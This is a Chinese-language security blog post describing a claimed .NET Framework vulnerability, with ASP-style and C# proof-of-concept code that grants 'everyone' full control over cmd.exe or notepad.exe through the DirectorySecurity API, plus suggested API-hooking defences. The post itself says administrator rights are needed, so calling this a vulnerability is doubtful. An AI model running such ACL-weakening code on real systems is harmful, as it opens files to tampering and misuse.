• QTVA-2015-198545、WooYun-2015-104148 .NET Framework Arbitrary File Permissions Modify Vul


    catalog

    1. Description
    2. Effected Scope
    3. Exploit Analysis
    4. Principle Of Vulnerability
    5. Patch Fix

    1. Description

    通过.NET Framework的这个API漏洞,攻击者可以赋予任意程序文件执行权限

    Relevant Link:

    http://www.wooyun.org/bugs/wooyun-2015-0104148
    https://butian.360.cn/vul/info/qid/QTVA-2015-198545


    2. Effected Scope

    Microsoft .NET Framework 2.0 
    Microsoft .NET Framework 3.5
    Microsoft .NET Framework 3.5.1
    Microsoft .NET Framework 4
    Microsoft .NET Framework 4.5
    Microsoft .NET Framework 4.5.1


    3. Exploit Analysis

    try
    { 
        var strPath:String = "c:\windows\temp\cmd.exe", strUser:String = "everyone";
        /*
        DirectoryInfo类,公开用于创建、移动和枚举目录和子目录的实例方法,此类不能被继承
        https://msdn.microsoft.com/zh-cn/library/system.io.directoryinfo(v=vs.110).aspx
        */
        var dirinfo:System.IO.DirectoryInfo = new System.IO.DirectoryInfo(strPath);
    
    
        /*
        GetAccessControl(): 获取DirectorySecurity对象,该对象封装当前DirectoryInfo对象所描述的目录的访问控制列表(ACL)项
        返回一个DirectorySecurity对象,该对象封装此目录的访问控制规则
        https://msdn.microsoft.com/zh-cn/library/t1h6d4k4(v=vs.110).aspx
        */
        var dirsecurity:System.Security.AccessControl.DirectorySecurity = dirinfo.GetAccessControl();
        
        /*
        AddAccessRule(FileSystemAccessRule): 将指定的访问控制列表(ACL)权限添加到当前文件或目录
        https://msdn.microsoft.com/zh-cn/library/system.security.accesscontrol.directorysecurity(v=vs.110).aspx
        public FileSystemAccessRule(
            IdentityReference identity, 
            FileSystemRights fileSystemRights, 
            AccessControlType type
        )
        1. identity: System.Security.Principal::IdentityReference: 封装对用户帐户的引用的 IdentityReference对象
        2. fileSystemRights: System.Security.AccessControl::FileSystemRights:FileSystemRight 值之一,该值指定与访问规则关联的操作的类型 
        3. type: System.Security.AccessControl::AccessControlType: AccessControlType值之一,该值指定是允许还是拒绝该操作 
        */
        dirsecurity.AddAccessRule( 
            new System.Security.AccessControl.FileSystemAccessRule(
                strUser, 
                System.Security.AccessControl.FileSystemRights.FullControl, 
                System.Security.AccessControl.AccessControlType.Allow
            ));
        /*
        FileSystemAccessRule类: 表示定义文件或目录的访问规则的访问控制项 (ACE) 的抽象
        https://msdn.microsoft.com/zh-cn/library/system.security.accesscontrol.filesystemaccessrule(v=vs.110).aspx
        */
        
        //SetAccessControl: 将DirectorySecurity对象所描述的访问控制列表(ACL)项应用于当前DirectoryInfo对象所描述的目录
        dirinfo.SetAccessControl(dirsecurity);
        Response.Write(strPath+"	权限添加成功!");
     
    }
    catch(x)
    {
        Response.Write(x.Message);
    }

    Relevant Link:

    https://msdn.microsoft.com/zh-cn/library/system.io.directoryinfo(v=vs.110).aspx

    0x1: POC

    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    
    namespace poc
    {
        class Program
        {
            static void Main(string[] args)
            {
                try
                { 
                    String strPath = "C:\notepad.exe", strUser = "everyone"; 
                    System.IO.DirectoryInfo dirinfo = new System.IO.DirectoryInfo(strPath);
                    System.Security.AccessControl.DirectorySecurity dirsecurity = dirinfo.GetAccessControl();
       
                    dirsecurity.AddAccessRule( 
                        new System.Security.AccessControl.FileSystemAccessRule(
                            strUser, 
                            System.Security.AccessControl.FileSystemRights.FullControl, 
                            System.Security.AccessControl.AccessControlType.Allow
                        )); 
    
                    dirinfo.SetAccessControl(dirsecurity);
                    Console.WriteLine(strPath+"	权限添加成功!");
     
                }
                catch(Exception x)
                {
                    Console.WriteLine(x.Message);
                }
            }
        }
    } 


    4. Principle Of Vulnerability

    使用.NET的Directory类,用户可通过DirectorySecurity对象的下列方法来访问目录的访问控制列表(ACL)

    1. GetAccessControl: 返回一个目录的Windows ACL作为一个DirectorySecurity对象 
    2. SetAccessControl: 将DirectorySecurity对象的ACl入口赋予指定目录 

    0x1: DirectorySecurity

    DirectorySecurity类定义了如何对目录访问进行审计。该类是潜在的Windows文件安全系统(System.Security.AccessControl命名空间的一部分)的一个抽象,在该系统中,每个目录有一个自由决定的ACL来控制目录访问。同时,一个系统ACL决定对哪些访问控制进行审计。使用两个类来分别处理目录访问和审计

    1. FileSystemAccessRule
    2. FileSystemAuditRule

    ileSystemAccessRule类代表一个潜在的访问控制入口的抽象,访问控制入口用来指定用户账号,提供的访问类型(读、写等)以及是许可或拒绝某个权限。同时,该类还指定了如何将访问规则传递给子对象。FileSystemAuditRule类代表了为某个文件或目录定义审计规则的ACE
    为了通过DirectorySecurity类为某个目录添加一条新规则,需要FileSystemAccessRule和FileSystemAuditRule两个类的新实例

    1. 第一个参数: 指定每个应用该规则的用户、组或标识
    2. 第二个参数: FileSystemRights列表,用来指定用户(由第一个参数指定)可以进行的操作,它包含很多可能的取值,包括
        1) CreateDirectories
        2) CreateFiles
        3) Delete
        4) FullControl
        5) ListDirectory
    3. 最后一个参数: 可用来指定用户能否执行参数二的操作。AccessControlType列表包括两个可能取值
        1) 允许
        2) 拒绝
    用于FileSystemAuditRule类的第三个参数可从AuditFlags列表的Failure、None或Success中取值来设定审计级别。FileSystemAuditRule类的构造函数是重载的,这个方法是最基本的方法 

    需要注意的是,需要使用管理员权限调用DirectorySecurity相关API

    Relevant Link:

    http://developer.zdnet.com.cn/2007/0510/391302.shtml
    http://www.wyxit.com/article/201501/6731.html


    5. Patch Fix

    .NET Framework和Java JVM本质上是一样的,都是在操作系统之上抽象出了一层虚拟机,从而允许"中间字节码"在虚拟机上运行,从而实现跨平台
    在.NET Framework框架中,如果需要调用操作系统API实现操作系统功能,需要通过Native API接口,即通过DLL/SO来调用操作系统API,因此,我们的防御方案可以从以下方向展开

    1. .NET Framework DirectorySecurityAPI涉及到的nativa API为
        1) SetSecurityDescriptorDacl
        2) SetFileSecurity
    通过DLL/SO Hook实现管控
    
    2. 在内核层执行路径上进行防御

    Copyright (c) 2015 Little5ann All rights reserved

  • 相关阅读:
    python2文件转换为exe可执行文件
    pycharm下 os.system os.popen执行命令返回有中文乱码
    python 虚拟环境
    git commit之后,想撤销commit
    Android Dialog使用举例
    Builder模式在Java中的应用(转)
    AngularJS promise()
    给你一个承诺
    AngularJs 用户登录验证模块(demo)参考总结
    推荐 15 个 Angular.js 应用扩展指令(参考应用)
  • 原文地址:https://www.cnblogs.com/LittleHann/p/4615936.html
Copyright © 2020-2023  润新知